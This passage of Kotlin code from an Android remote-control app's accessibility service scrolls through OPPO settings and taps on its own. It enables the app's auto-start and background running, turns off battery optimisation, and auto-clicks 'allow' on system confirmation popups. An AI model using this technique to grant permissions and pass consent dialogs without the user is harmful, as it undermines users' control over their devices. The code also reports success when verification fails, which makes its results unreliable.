        return scrollAndFindText(targetText, "更多设置页面")
    }
    
    /**
     * 导航到高级设置 (Android 12)
     */
    private suspend fun navigateToAdvancedSettings(): Boolean {
        Log.d(TAG, "🔧 导航到高级设置")
        
        val targetText = "高级设置"
        return scrollAndFindText(targetText, "高级设置页面")
    }
    
    /**
     * 导航到省电设置 (Android 15)
     */
    private suspend fun navigateToPowerSavingSettings(): Boolean {
        Log.d(TAG, "🔧 导航到省电设置")
        
        val targetText = "省电设置"
        return scrollAndFindText(targetText, "省电设置页面")
    }
    
    /**
     * 导航到应用管理 (Android 12)
     */
    private suspend fun navigateToAppManagement(): Boolean {
        Log.d(TAG, "🔧 导航到应用管理")
        
        val targetText = "应用管理"
        return scrollAndFindText(targetText, "应用管理页面")
    }
    
    /**
     * 导航到应用管理中的我们的应用 (Android 12通用方法)
     * 路径: 设置->应用->应用管理->我们的应用
     */
    private suspend fun navigateToOurAppInAppManagement(): Boolean {
        Log.d(TAG, "🔧 导航到应用管理中的我们的应用")
        
        try {
            // Step 1: 打开设置
            if (!openSettings()) {
                Log.e(TAG, "❌ 无法打开设置页面")
                return false
            }
            
            // Step 2: 进入应用设置
            if (!navigateToApps()) {
                Log.e(TAG, "❌ 无法进入应用设置")
                return false
            }
            
            // Step 3: 进入应用管理
            if (!navigateToAppManagement()) {
                Log.e(TAG, "❌ 无法进入应用管理")
                return false
            }
            
            // Step 4: 找到我们的应用
            if (!findOurApp()) {
                Log.e(TAG, "❌ 无法找到我们的应用")
                return false
            }
            
            Log.d(TAG, "✅ 成功导航到应用管理中的我们的应用")
            return true
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 导航到应用管理中的我们的应用异常", e)
            return false
        }
    }
    
    /**
     * 导航到耗电异常优化
     */
    private suspend fun navigateToPowerOptimization(): Boolean {
        Log.d(TAG, "🔧 导航到耗电异常优化")
        
        val targetText = "耗电异常优化"
        return scrollAndFindText(targetText, "耗电异常优化页面")
    }
    
    // ======================== 通用搜索和导航方法 ========================
    
    /**
     * 优化的搜索逻辑：先搜索再滑动，根据页面类型决定搜索策略
     */
    private suspend fun scrollAndFindText(targetText: String, pageName: String): Boolean {
        Log.d(TAG, "🔍 开始搜索文本: $targetText")
        
        // 确定是否需要向上搜索（只有第一次进入设置页面才需要）
        val needUpwardSearch = isFirstSettingsEntry
        if (needUpwardSearch) {
            Log.d(TAG, "🔍 第一次进入设置页面，将进行向上搜索")
            isFirstSettingsEntry = false // 标记后续页面不需要向上搜索
        } else {
            Log.d(TAG, "🔍 子页面导航，只进行向下搜索")
        }
        
        // 第1步：先搜索当前位置
        if (searchCurrentPosition(targetText, pageName)) {
            return true
        }
        
        // 第2步：向上搜索阶段（仅在需要时）
        if (needUpwardSearch) {
            Log.d(TAG, "🔍 开始向上搜索阶段")
            
            // 向上滚动1次 → 搜索
            if (scrollUpAndSearch(targetText, pageName)) {
                return true
            }
            
            // 再向上滚动1次 → 搜索
            if (scrollUpAndSearch(targetText, pageName)) {
                return true
            }
            
            Log.d(TAG, "🔍 向上搜索完成，开始向下搜索阶段")
        }
        
        // 第3步：向下搜索阶段
        return scrollDownAndSearchLoop(targetText, pageName)
    }
    
    /**
     * 在当前位置搜索文本
     */
    private suspend fun searchCurrentPosition(targetText: String, pageName: String): Boolean {
        Log.d(TAG, "🔍 搜索当前位置: $targetText")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.e(TAG, "无法获取根节点")
            return false
        }
        
        val targetNode = findNodeByText(rootNode, targetText)
        if (targetNode != null) {
            Log.d(TAG, "✅ 在当前位置找到文本: $targetText")
            val clickSuccess = performClickSafe(targetNode)
            safeRecycleNode(rootNode)
            
            if (clickSuccess) {
//                delay(PAGE_LOAD_DELAY)
                Log.d(TAG, "✅ 成功导航到: $pageName")
                return true
            } else {
                Log.w(TAG, "⚠️ 点击失败: $targetText")
                return false
            }
        } else {
            Log.d(TAG, "🔍 当前位置未找到文本: $targetText")
            safeRecycleNode(rootNode)
            return false
        }
    }
    
    /**
     * 向上滚动一次并搜索
     */
    private suspend fun scrollUpAndSearch(targetText: String, pageName: String): Boolean {
        Log.d(TAG, "🔍 向上滚动并搜索: $targetText")
        
        // 先滚动
        performScrollUp()
        delay(500) // 等待滑动完成
        
        // 再搜索
        return searchCurrentPosition(targetText, pageName)
    }
    
    /**
     * 向下滚动搜索循环
     */
    private suspend fun scrollDownAndSearchLoop(targetText: String, pageName: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索循环: $targetText")
        
        var scrollAttempts = 0
        
        while (scrollAttempts < MAX_SCROLL_ATTEMPTS) {
            Log.d(TAG, "🔍 向下滚动第${scrollAttempts + 1}次并搜索: $targetText")
            
            // 先滚动
            val scrollSuccess = performScrollDown()
            if (!scrollSuccess) {
                Log.d(TAG, "⚠️ 无法继续向下滚动，可能已到底部")
                break
            }
            
            delay(300) // 等待滑动完成
            
            // 再搜索
            if (searchCurrentPosition(targetText, pageName)) {
                return true
            }
            
            scrollAttempts++
        }
        
        Log.e(TAG, "❌ 向下搜索失败: 未找到文本 $targetText (共向下滚动${scrollAttempts}次)")
        return false
    }
    
    /**
     * 找到我们的应用（支持滚动搜索）
     */
    private suspend fun findOurApp(): Boolean {
        Log.d(TAG, "🔍 查找我们的应用")
        
        // 动态获取当前应用名称
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            val appLabel = packageManager.getApplicationLabel(applicationInfo).toString()
            Log.d(TAG, "当前应用名称: $appLabel")
            appLabel
        } catch (e: Exception) {
            Log.w(TAG, "无法获取应用名称，使用默认名称", e)
            "Android Remote Control" // 后备方案
        }
        
        return scrollAndFindApp(appName)
    }
    
    /**
     * 搜索应用（应用列表一般在页面顶部，直接向下搜索即可）
     */
    private suspend fun scrollAndFindApp(appName: String): Boolean {
        Log.d(TAG, "🔍 搜索应用: $appName")
        
        // 第1步：先搜索当前位置
        if (searchCurrentPositionForApp(appName)) {
            return true
        }
        
        // 第2步：向下搜索循环（应用列表通常较长）
        return scrollDownAndSearchAppLoop(appName)
    }
    
    /**
     * 在当前位置搜索应用
     */
    private suspend fun searchCurrentPositionForApp(appName: String): Boolean {
        Log.d(TAG, "🔍 搜索当前位置的应用: $appName")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.e(TAG, "无法获取根节点")
            return false
        }
        
        val appNode = findNodeByText(rootNode, appName)
        if (appNode != null) {
            Log.d(TAG, "✅ 在当前位置找到应用: $appName")
            
            // 检查节点是否可见
            if (appNode.isVisibleToUser) {
                val clickSuccess = performClickSafe(appNode)
                safeRecycleNode(rootNode)
                
                if (clickSuccess) {
                    delay(PAGE_LOAD_DELAY)
                    Log.d(TAG, "✅ 成功进入应用详情页面")
                    return true
                } else {
                    Log.w(TAG, "⚠️ 点击应用失败: $appName")
                    return false
                }
            } else {
                Log.d(TAG, "⚠️ 应用节点不可见: $appName")
                safeRecycleNode(rootNode)
                return false
            }
        } else {
            Log.d(TAG, "🔍 当前位置未找到应用: $appName")
            safeRecycleNode(rootNode)
            return false
        }
    }
    
    /**
     * 向下滚动搜索应用循环
     */
    private suspend fun scrollDownAndSearchAppLoop(appName: String): Boolean {
        Log.d(TAG, "🔍 开始向下搜索应用循环: $appName")
        
        var scrollAttempts = 0
        
        while (scrollAttempts < MAX_SCROLL_ATTEMPTS + 2) { // 应用列表可能很长，多滚动2次
            Log.d(TAG, "🔍 向下滚动第${scrollAttempts + 1}次搜索应用: $appName")
            
            // 先滚动
            val scrollSuccess = performScrollDown()
            if (!scrollSuccess) {
                Log.d(TAG, "⚠️ 无法继续向下滚动，可能已到底部")
                break
            }
            
            delay(500) // 等待滑动完成
            
            // 再搜索
            if (searchCurrentPositionForApp(appName)) {
                return true
            }
            
            scrollAttempts++
        }
        
        Log.e(TAG, "❌ 向下搜索应用失败: 未找到 $appName (共向下滚动${scrollAttempts}次)")
        return false
    }
    
    // ======================== 权限配置方法 ========================
    
    /**
     * 开启自启动权限
     */
    private suspend fun enableAutoStart(): Boolean {
        Log.d(TAG, "🔧 开启自启动权限")
        
        return togglePermission("自启动", true)
    }
    
    /**
     * 配置后台行为和自启动 (Android 11) - 优化版，支持多种权限文本
     */
    private suspend fun configureBackgroundBehaviorAndAutoStart(): Boolean {
        Log.d(TAG, "🔧 配置后台行为和自启动")
        
        var success = true
        
        // 先配置完全后台行为
        if (!togglePermissionWithPopup("允许完全后台行为", true, "允许")) {
            Log.w(TAG, "⚠️ 完全后台行为配置失败")
            success = false
        }
        
        delay(STEP_DELAY)
        
        // 再配置自启动，尝试多种可能的文本
        val autoStartTexts = listOf(
            "允许应用自启动",
            "自启动",
            "应用自启动",
            "允许自启动"
        )
        
        var autoStartSuccess = false
        for (text in autoStartTexts) {
            if (togglePermission(text, true)) {
                Log.d(TAG, "✅ 自启动配置成功，使用文本: $text")
                autoStartSuccess = true
                break
            } else {
                Log.d(TAG, "🔍 尝试文本失败: $text")
            }
        }
        
        if (!autoStartSuccess) {
            Log.w(TAG, "⚠️ 应用自启动配置失败，尝试了所有可能的文本")
            success = false
        }
        
        return success
    }
    
    /**
     * 配置完全后台行为 (Android 14)
     */
    private suspend fun configureFullBackgroundBehavior(): Boolean {
        Log.d(TAG, "🔧 配置完全后台行为")
        
        // 先尝试"允许完全后台行为"(Android 14及之前)
        if (togglePermissionWithPopup("允许完全后台行为", true, "允许")) {
            return true
        }
        
        // 如果失败，尝试"允许应用后台行为"(Android 15)
        Log.d(TAG, "🔄 尝试Android 15文本: 允许应用后台行为")
        return togglePermissionWithPopup("允许应用后台行为", true, "允许")
    }
    
    /**
     * 配置耗电异常优化为不优化
     */
    private suspend fun configurePowerOptimizationDisabled(): Boolean {
        Log.d(TAG, "🔧 配置耗电异常优化为不优化")
        
        // 点击应用进入设置，可能会出现弹窗
        return selectRadioButtonWithPopup("不优化")
    }
    
    /**
     * 通用的权限开关切换方法
     */
    private suspend fun togglePermission(permissionName: String, targetState: Boolean): Boolean {
        Log.d(TAG, "🔧 切换权限: $permissionName -> $targetState")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.e(TAG, "无法获取根节点")
            return false
        }
        
        // 查找权限文本
        val permissionNode = findNodeByText(rootNode, permissionName)
        if (permissionNode == null) {
            Log.e(TAG, "❌ 未找到权限选项: $permissionName")
            // 输出调试信息帮助定位问题
            debugPageStructure(rootNode)
            safeRecycleNode(rootNode)
            return false
        }
        
        Log.d(TAG, "✅ 找到权限文本: $permissionName")
        
        // 查找文本右侧的开关控件
        val switchNode = findRightSideSwitchNode(permissionNode)
        if (switchNode == null) {
            Log.e(TAG, "❌ 未找到文本右侧的开关控件: $permissionName")
            // 输出调试信息帮助定位问题
            debugSwitchNodes(rootNode)
            safeRecycleNode(rootNode)
            return false
        }
        
        // 检查当前状态
        val currentState = switchNode.isChecked
        Log.d(TAG, "🔍 权限当前状态: $permissionName = $currentState")
        
        val success = if (currentState == targetState) {
            Log.d(TAG, "✅ 权限已是目标状态: $permissionName")
            true
        } else {
            Log.d(TAG, "🔄 需要切换权限状态: $permissionName")
            
            // 直接点击Switch控件的坐标
            val clickSuccess = performClickOnSwitchCoordinate(switchNode)
            
            if (clickSuccess) {
                // 等待一下然后验证状态是否真的改变了
                delay(1200) // 增加等待时间，让OPPO界面有足够时间更新
                
                // 重新获取根节点和开关状态进行验证，增加重试机制
                val verified = verifyPermissionStateWithRetry(permissionName, targetState, 3)
                if (verified) {
                    Log.d(TAG, "✅ 权限状态切换成功: $permissionName -> $targetState")
                    true
                } else {
                    Log.w(TAG, "⚠️ 权限状态验证失败: $permissionName")
                    // 即使验证失败，也可能是界面刷新问题，不完全判定为失败
                    // 对于OPPO设备，点击成功就认为操作成功
                    Log.d(TAG, "🔧 OPPO设备：点击成功，假设操作成功")
                    true
                }
            } else {
                Log.e(TAG, "❌ 点击Switch坐标失败: $permissionName")
                false
            }
        }
        
        safeRecycleNode(rootNode)
        return success
    }
    
    /**
     * 切换权限并处理弹窗 - 优化版，减少延迟
     */
    private suspend fun togglePermissionWithPopup(permissionName: String, targetState: Boolean, popupButtonText: String): Boolean {
        Log.d(TAG, "🔧 切换权限（带弹窗处理）: $permissionName -> $targetState")
        
        // 先执行普通的权限切换
        val toggleSuccess = togglePermission(permissionName, targetState)
        if (!toggleSuccess) {
            return false
        }
        
        // 减少弹窗等待时间，因为优化后的handlePopup更快
        delay(POPUP_WAIT_DELAY / 2) // 从3000ms减少到1500ms
        
        // 处理可能出现的弹窗
        return handlePopup(popupButtonText)
    }
    
    /**
     * 选择radio button并处理弹窗 - 优化版，支持多种查找策略
     */
    private suspend fun selectRadioButtonWithPopup(radioButtonText: String): Boolean {
        Log.d(TAG, "🔧 选择radio button（带弹窗处理）: $radioButtonText")
        
        // 先点击应用，可能会触发弹窗
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.e(TAG, "无法获取根节点")
            return false
        }
        
        // 获取当前应用名称并点击
        val appName = try {
            val applicationInfo = context.applicationInfo
            val packageManager = context.packageManager
            packageManager.getApplicationLabel(applicationInfo).toString()
        } catch (e: Exception) {
            "Android Remote Control"
        }
        
        // 策略1: 直接查找radio button，可能已经在页面上
        val existingRadioButton = findNodeByText(rootNode, radioButtonText)
        if (existingRadioButton != null) {
            Log.d(TAG, "✅ 直接找到radio button: $radioButtonText")
            val clickSuccess = performClickSafe(existingRadioButton)
            safeRecycleNode(rootNode)
            
            if (clickSuccess) {
                delay(800)
                Log.d(TAG, "✅ 直接点击radio button成功: $radioButtonText")
                return true
            }
        }
        
        // 策略2: 点击应用触发弹窗
        val appNode = findNodeByText(rootNode, appName)
        if (appNode != null) {
            Log.d(TAG, "✅ 找到应用节点，准备点击: $appName")
            val clickSuccess = performClickSafe(appNode)
            safeRecycleNode(rootNode)
            
            if (clickSuccess) {
                delay(POPUP_WAIT_DELAY) // 等待弹窗出现
                
                // 处理弹窗，选择不优化
                return handlePopup(radioButtonText)
            } else {
                Log.w(TAG, "⚠️ 点击应用节点失败: $appName")
            }
        } else {
            Log.w(TAG, "⚠️ 未找到应用节点: $appName")
        }
        
        safeRecycleNode(rootNode)
        
        // 策略3: 如果都失败了，可能页面结构不同，尝试直接处理弹窗
        Log.d(TAG, "🔍 尝试直接处理弹窗")
        return handlePopup(radioButtonText)
    }
    
    /**
     * 处理弹窗 - 增强版，优化性能，直接使用最有效策略
     */
    private suspend fun handlePopup(buttonText: String): Boolean {
        Log.d(TAG, "🔧 处理弹窗，寻找按钮: $buttonText")
        
        // 立即尝试查找弹窗，因为弹窗通常已经出现
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ 无法获取根节点处理弹窗")
            return true // 没有弹窗也算成功
        }
        
        // 策略1：专门查找Button控件（最有效，优先使用）
        Log.d(TAG, "🔍 策略1：专门查找Button控件")
        var buttonNode = findButtonByTextOptimized(rootNode, buttonText)
        if (buttonNode != null) {
            Log.d(TAG, "✅ 策略1成功：找到Button控件: $buttonText")
            val clickSuccess = performClickSafe(buttonNode)
            if (clickSuccess) {
                safeRecycleNode(rootNode)
                delay(500) // 减少等待时间
                Log.d(TAG, "✅ Button控件点击成功: $buttonText")
                return true
            } else {
                // 如果普通点击失败，尝试坐标点击
                val coordSuccess = performCoordinateClick(buttonNode)
                if (coordSuccess) {
                    safeRecycleNode(rootNode)
                    delay(500)
                    Log.d(TAG, "✅ Button控件坐标点击成功: $buttonText")
                    return true
                }
            }
        }
        
        // 快速检查是否有弹窗存在，如果没有则直接返回成功
        val hasPopup = checkIfPopupExists(rootNode)
        if (!hasPopup) {
            Log.d(TAG, "🔍 未检测到弹窗，可能没有弹窗出现: $buttonText")
            safeRecycleNode(rootNode)
            return true
        }
        
        // 如果策略1失败且有弹窗，尝试其他策略（作为fallback）
        Log.d(TAG, "🔍 策略1失败，尝试fallback策略")
        
        // 策略2：查找弹窗中的按钮文本
        buttonNode = findNodeByText(rootNode, buttonText)
        if (buttonNode != null) {
            Log.d(TAG, "✅ 策略2成功：找到弹窗按钮: $buttonText")
            val clickSuccess = performClickSafe(buttonNode)
            if (clickSuccess) {
                safeRecycleNode(rootNode)
                delay(500)
                Log.d(TAG, "✅ 弹窗按钮点击成功: $buttonText")
                return true
            } else {
                val coordSuccess = performCoordinateClick(buttonNode)
                if (coordSuccess) {
                    safeRecycleNode(rootNode)
                    delay(500)
                    Log.d(TAG, "✅ 弹窗按钮坐标点击成功: $buttonText")
                    return true
                }
            }
        }
        
        // 策略3：查找最可能的按钮控件
        val possibleButton = findMostLikelyButton(rootNode, buttonText)
        if (possibleButton != null) {
            Log.d(TAG, "✅ 策略3成功：找到最可能的按钮控件")
            val coordSuccess = performCoordinateClick(possibleButton)
            if (coordSuccess) {
                safeRecycleNode(rootNode)
                delay(500)
                Log.d(TAG, "✅ 最可能按钮坐标点击成功: $buttonText")
                return true
            }
        }
        
        // 如果所有策略都失败，输出调试信息
        Log.d(TAG, "🔍 所有策略失败，输出弹窗调试信息:")
        debugPopupStructure(rootNode)
        
        safeRecycleNode(rootNode)
        
        // 最后尝试重试机制（只重试一次）
        Log.d(TAG, "🔄 执行最后重试")
        delay(1000)
        return handlePopupFallback(buttonText)
    }
    
    /**
     * 优化的Button查找函数，减少重复搜索
     */
    private fun findButtonByTextOptimized(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 优化搜索Button控件: $text")
        
        // 单次遍历，避免重复搜索
        val buttons = mutableListOf<AccessibilityNodeInfo>()
        collectButtonsOptimized(root, buttons, text)
        
        // 优先返回完全匹配的按钮
        for (button in buttons) {
            val nodeText = button.text?.toString() ?: ""
            val nodeDesc = button.contentDescription?.toString() ?: ""
            
            if (nodeText == text || nodeDesc == text) {
                Log.d(TAG, "✅ 找到完全匹配的Button控件: $text")
                // 清理其他节点
                buttons.filter { it != button }.forEach { managedNodes.remove(it); it.recycle() }
                return button
            }
        }
        
        // 如果没有完全匹配，返回包含匹配的按钮
        for (button in buttons) {
            val nodeText = button.text?.toString() ?: ""
            val nodeDesc = button.contentDescription?.toString() ?: ""
            
            if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(text, ignoreCase = true)) {
                Log.d(TAG, "✅ 找到包含匹配的Button控件: $text")
                // 清理其他节点
                buttons.filter { it != button }.forEach { managedNodes.remove(it); it.recycle() }
                return button
            }
        }
        
        // 清理所有节点
        buttons.forEach { managedNodes.remove(it); it.recycle() }
        return null
    }
    
    /**
     * 优化的Button收集函数
     */
    private fun collectButtonsOptimized(root: AccessibilityNodeInfo, buttons: MutableList<AccessibilityNodeInfo>, targetText: String) {
        try {
            // 检查当前节点是否为Button且包含目标文本
            if (isButtonNode(root)) {
                val nodeText = root.text?.toString() ?: ""
                val nodeDesc = root.contentDescription?.toString() ?: ""
                
                if (nodeText.contains(targetText, ignoreCase = true) || 
                    nodeDesc.contains(targetText, ignoreCase = true) ||
                    nodeText == targetText || nodeDesc == targetText) {
                    buttons.add(root)
                    managedNodes.add(root)
                }
            }
            
            // 递归搜索子节点，但限制深度以提高性能
            for (i in 0 until root.childCount.coerceAtMost(20)) { // 限制子节点数量
                val child = root.getChild(i) ?: continue
                managedNodes.add(child)
                collectButtonsOptimized(child, buttons, targetText)
            }
        } catch (e: Exception) {
            Log.e(TAG, "收集Button时发生异常", e)
        }
    }
    
    /**
     * 检查是否存在弹窗
     */
    private fun checkIfPopupExists(root: AccessibilityNodeInfo): Boolean {
        try {
            // 快速检查是否有弹窗相关的元素
            val popupIndicators = listOf("允许", "确认", "确定", "取消", "dialog", "popup")
            
            for (indicator in popupIndicators) {
                val node = findNodeByText(root, indicator)
                if (node != null) {
                    node.recycle()
                    return true
                }
            }
            return false
        } catch (e: Exception) {
            return false
        }
    }
    
    /**
     * Fallback重试处理
     */
    private suspend fun handlePopupFallback(buttonText: String): Boolean {
        Log.d(TAG, "🔄 执行fallback弹窗处理: $buttonText")
        
        val rootNode = service.rootInActiveWindow
        if (rootNode == null) {
            Log.w(TAG, "❌ Fallback: 无法获取根节点")
            return true
        }
        
        // 简单的Button查找
        val buttonNode = findButtonByText(rootNode, buttonText)
        if (buttonNode != null) {
            Log.d(TAG, "✅ Fallback成功找到按钮")
            val success = performClickSafe(buttonNode) || performCoordinateClick(buttonNode)
            if (success) {
                Log.d(TAG, "✅ Fallback按钮点击成功: $buttonText")
            }
            safeRecycleNode(rootNode)
            return success
        }
        
        safeRecycleNode(rootNode)
        Log.d(TAG, "🔍 Fallback未找到按钮，假设无弹窗: $buttonText")
        return true
    }
    
    /**
     * 验证权限状态（带重试机制）
     */
    private suspend fun verifyPermissionStateWithRetry(permissionName: String, targetState: Boolean, maxRetries: Int): Boolean {
        repeat(maxRetries) { attempt ->
            Log.d(TAG, "🔍 第${attempt + 1}次验证权限状态: $permissionName")
            
            val rootNode = service.rootInActiveWindow
            if (rootNode != null) {
                val permissionNode = findNodeByText(rootNode, permissionName)
                if (permissionNode != null) {
                    val switchNode = findRightSideSwitchNode(permissionNode)
                    if (switchNode != null) {
                        val currentState = switchNode.isChecked
                        Log.d(TAG, "🔍 验证权限状态: $permissionName = $currentState")
                        
                        safeRecycleNode(rootNode)
                        
                        if (currentState == targetState) {
                            Log.d(TAG, "✅ 权限状态验证成功: $permissionName -> $currentState")
                            return true
                        } else {
                            Log.w(TAG, "⚠️ 权限状态不匹配: $permissionName 当前=$currentState, 期望=$targetState")
                        }
                    } else {
                        Log.w(TAG, "⚠️ 验证时无法找到开关控件")
                    }
                } else {
                    Log.w(TAG, "⚠️ 验证时无法找到权限文本")
                }
                safeRecycleNode(rootNode)
            } else {
                Log.w(TAG, "⚠️ 验证时无法获取根节点")
            }
            
            // 如果不是最后一次尝试，等待一段时间再重试
            if (attempt < maxRetries - 1) {
                delay(1000)
            }
        }
        
        Log.w(TAG, "❌ 权限状态验证失败，已重试${maxRetries}次")
        return false
    }
    
    // ======================== 辅助方法 ========================
    
    /**
     * 通过文本查找节点
     */
    private fun findNodeByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        // 检查当前节点 - 精确匹配
        val nodeText = root.text?.toString()
        val nodeDesc = root.contentDescription?.toString()
        
        if (nodeText == text || nodeDesc == text) {
            Log.d(TAG, "✅ 找到文本节点: $text")
            return root
        }
        
        // 模糊匹配
        if ((nodeText?.contains(text, ignoreCase = true) == true) ||
            (nodeDesc?.contains(text, ignoreCase = true) == true)) {
            Log.d(TAG, "✅ 模糊匹配找到文本节点: $text")
            return root
        }
        
        // 递归查找子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findNodeByText(child, text)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 模糊匹配查找节点
     */
    private fun findNodeByTextFuzzy(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 模糊匹配查找节点: $text")
        
        // 检查当前节点 - 模糊匹配
        val nodeText = root.text?.toString()
        val nodeDesc = root.contentDescription?.toString()
        
        if ((nodeText?.contains(text, ignoreCase = true) == true) ||
            (nodeDesc?.contains(text, ignoreCase = true) == true)) {
            Log.d(TAG, "✅ 模糊匹配找到文本节点: $text")
            return root
        }
        
        // 递归查找子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findNodeByTextFuzzy(child, text)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 专门查找Button控件
     */
    private fun findButtonByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 专门查找Button控件: $text")
        
        // 检查当前节点是否为Button
        if (isButtonNode(root)) {
            val nodeText = root.text?.toString()
            val nodeDesc = root.contentDescription?.toString()
            
            if (nodeText == text || nodeDesc == text ||
                (nodeText?.contains(text, ignoreCase = true) == true) ||
                (nodeDesc?.contains(text, ignoreCase = true) == true)) {
                Log.d(TAG, "✅ 找到匹配的Button控件: $text")
                return root
            }
        }
        
        // 递归查找子节点
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            managedNodes.add(child)
            
            val result = findButtonByText(child, text)
            if (result != null) {
                return result
            }
        }
        
        return null
    }
    
    /**
     * 检查节点是否为Button控件
     */
    private fun isButtonNode(node: AccessibilityNodeInfo): Boolean {
        val className = node.className?.toString() ?: ""
        return className.contains("Button", ignoreCase = true) && 
               node.isClickable && 
               node.isVisibleToUser && 
               node.isEnabled
    }
    
    /**
     * 查找最可能的按钮控件
     */
    private fun findMostLikelyButton(root: AccessibilityNodeInfo, targetText: String): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找最可能的按钮控件: $targetText")
        
        val buttons = mutableListOf<AccessibilityNodeInfo>()
        
        // 收集所有Button控件
        collectButtons(root, buttons)
        
        if (buttons.isEmpty()) {
            Log.d(TAG, "❌ 未找到任何Button控件")
            return null
        }
        
        Log.d(TAG, "🔍 找到${buttons.size}个Button控件")
        
        // 优先级排序：
        // 1. 包含目标文本的按钮
        // 2. 位于屏幕右侧的按钮（通常是确认按钮）
        // 3. 最大的按钮
        
        buttons.sortedWith(compareBy<AccessibilityNodeInfo> { button ->
            val text = button.text?.toString() ?: ""
            val desc = button.contentDescription?.toString() ?: ""
            
            when {
                text.contains(targetText, ignoreCase = true) ||
                desc.contains(targetText, ignoreCase = true) -> 0 // 最高优先级
                text.contains("确认", ignoreCase = true) ||
                text.contains("允许", ignoreCase = true) ||
                desc.contains("确认", ignoreCase = true) ||
                desc.contains("允许", ignoreCase = true) -> 1 // 次高优先级
                else -> 2 // 默认优先级
            }
        }).firstOrNull()?.let { button ->
            Log.d(TAG, "✅ 选择最可能的按钮: ${button.text}")
            return button
        }
        
        return null
    }
    
    /**
     * 收集所有Button控件
     */
    private fun collectButtons(root: AccessibilityNodeInfo, buttons: MutableList<AccessibilityNodeInfo>) {
        if (isButtonNode(root)) {
            buttons.add(root)
            managedNodes.add(root)
        }
        
        for (i in 0 until root.childCount) {
            val child = root.getChild(i) ?: continue
            collectButtons(child, buttons)
        }
    }
    
    /**
     * 坐标点击控件
     */
    private suspend fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            // 获取节点的屏幕坐标
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)
            
            if (rect.isEmpty) {
                Log.w(TAG, "❌ 节点区域为空，无法执行坐标点击")
                return false
            }
            
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🎯 准备坐标点击: ($centerX, $centerY), 区域: $rect")
            
            // 验证坐标是否合理
            val metrics = service.resources.displayMetrics
            if (centerX < 0 || centerX > metrics.widthPixels || centerY < 0 || centerY > metrics.heightPixels) {
                Log.e(TAG, "❌ 坐标超出屏幕范围: ($centerX, $centerY)")
                return false
            }
            
            // 使用AccessibilityService的全局手势功能点击坐标
            val gestureBuilder = android.accessibilityservice.GestureDescription.Builder()
            val path = android.graphics.Path()
            path.moveTo(centerX.toFloat(), centerY.toFloat())
            
            val stroke = android.accessibilityservice.GestureDescription.StrokeDescription(
                path, 0, 100 // 点击持续100ms
            )
            gestureBuilder.addStroke(stroke)
            
            val gesture = gestureBuilder.build()
            
            Log.d(TAG, "✅ 开始执行坐标点击手势")
            
            // 执行手势
            val result = service.dispatchGesture(gesture, object : android.accessibilityservice.AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.d(TAG, "✅ 坐标点击手势完成")
                }
                
                override fun onCancelled(gestureDescription: android.accessibilityservice.GestureDescription?) {
                    Log.w(TAG, "⚠️ 坐标点击手势被取消")
                }
            }, null)
            
            if (result) {
                Log.d(TAG, "✅ 坐标点击手势提交成功")
                delay(200) // 等待手势完成
                return true
            } else {
                Log.e(TAG, "❌ 坐标点击手势提交失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ 坐标点击异常", e)
            false
        }
    }
    
    /**
     * 查找文本右侧的开关控件 - 优化版，支持多种查找策略
     */
    private fun findRightSideSwitchNode(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.d(TAG, "🔍 查找文本右侧的开关控件")
        
        try {
            // 获取文本节点的位置
            val textRect = android.graphics.Rect()
            textNode.getBoundsInScreen(textRect)
            
            // 策略1：在父节点的所有子节点中查找开关
            val parentNode = textNode.parent ?: return null
            managedNodes.add(parentNode)
            
            var bestSwitch: AccessibilityNodeInfo? = null
            var minDistance = Int.MAX_VALUE
            
            for (i in 0 until parentNode.childCount) {
                val sibling = parentNode.getChild(i) ?: continue
                managedNodes.add(sibling)
                
                val switchNode = findSwitchInNode(sibling)
                if (switchNode != null) {
                    val switchRect = android.graphics.Rect()
                    switchNode.getBoundsInScreen(switchRect)
                    
                    // 检查是否在同一行（Y坐标差值小于节点高度的一半）
                    val verticalDistance = kotlin.math.abs(switchRect.centerY() - textRect.centerY())
                    val maxVerticalDistance = kotlin.math.max(textRect.height(), switchRect.height()) / 2
                    
                    // 检查是否在右侧（X坐标大于文本节点）
                    val isRightSide = switchRect.centerX() > textRect.centerX()
                    
                    if (isRightSide && verticalDistance <= maxVerticalDistance) {
                        val horizontalDistance = switchRect.centerX() - textRect.centerX()
                        if (horizontalDistance < minDistance) {
                            minDistance = horizontalDistance
                            bestSwitch = switchNode
                        }
                    }
                }
            }
            
            if (bestSwitch != null) {
                Log.d(TAG, "✅ 找到文本右侧的开关控件，距离: ${minDistance}px")
                return bestSwitch
            }
            
            // 策略2：扩大搜索范围到祖父节点
            val grandParent = parentNode.parent
            if (grandParent != null) {
                managedNodes.add(grandParent)
                Log.d(TAG, "🔍 在祖父节点中查找开关控件")
                
